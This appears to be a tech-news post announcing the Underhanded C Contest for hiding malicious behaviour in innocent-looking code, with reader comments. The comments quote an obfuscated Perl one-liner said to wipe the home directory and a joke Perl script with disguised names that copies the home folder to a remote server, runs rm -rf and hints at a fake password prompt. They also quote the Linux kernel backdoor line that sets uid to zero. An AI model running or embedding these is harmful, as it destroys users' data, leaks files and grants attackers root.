The First Annual Underhanded C Contest

Xcott Craver writes "We have just announced a new annual contest, the Underhanded C Contest, to write clear, readable, innocent-looking C code that implements malicious behavior. The object is to hide evil functionality that survives visual inspection of the source. The prize is beer."

Comments

Re: This year's challenge

[ErichTheWebGuy]

Any open-source steganography programs

Why, yes! http://sourceforge.net/projects/steghide/

Re:Seems a bit like those hacking contests

[numbski]

This is worse than the people that go around obfuscated perl. At least then you KNOW they're trying to hide something. I mean, you remember this?

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{~" -;;s;;$_;see'

Don't run that. :P Unless you really don't like your home directory. I remember someone tore it down and dissected it, but the point is that if you can "hide it in broad daylight, then it is far more dangerous. :)

I mean I could do something like this:

# When do you want it done?
$today="sudo";
$yesterday="su -c";

# Define our globals
$superman="ls";
$wonderwoman="rm"
$batm an="cp";
$aquaman="mv";

#define some important flags
$blows="-r";
$maims="-p";
$chunks="-f";
$defeats="-s";

#define some targets
$your_mom="/";
$your_dad="/usr";
$your_ sister="~";
$your_teacher="/bin";
$hell="/dev/nu ll";
$heaven="/dev/random";
$skyhigh="nfs://myse rver/myhome";

#....later, back at Superfriends Headquarters

`$batman $blows $your_sister $skyhigh`;
`$wonderwoman $blows $chunks $on $your_sister`;
`$today $batman $and $your_mom $think $heaven $is $a $great $place $for $your_sister`;
#Would you like to see the rest of the story?
#print "Would you like to hear more? Please type your password to continue!";

The superfriends save the day again.

Linux Kernel Backdoor Attempt

[Johnny Hardcore]

This reminds me about the attempt at inserting a backdoor in the linux kernel to gain root access. If they found out who did this, maybe he should get the free beer? ;)

The attempt was trying to insert

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))

inside a function. Note that (current->uid = 0) is not testing but rather sets the UID to zero (and the surrounding brackets avoid the GCC warning).

Service Pack fixes it, but it's documented

[edalytical]

http://support.microsoft.com/?kbid=311486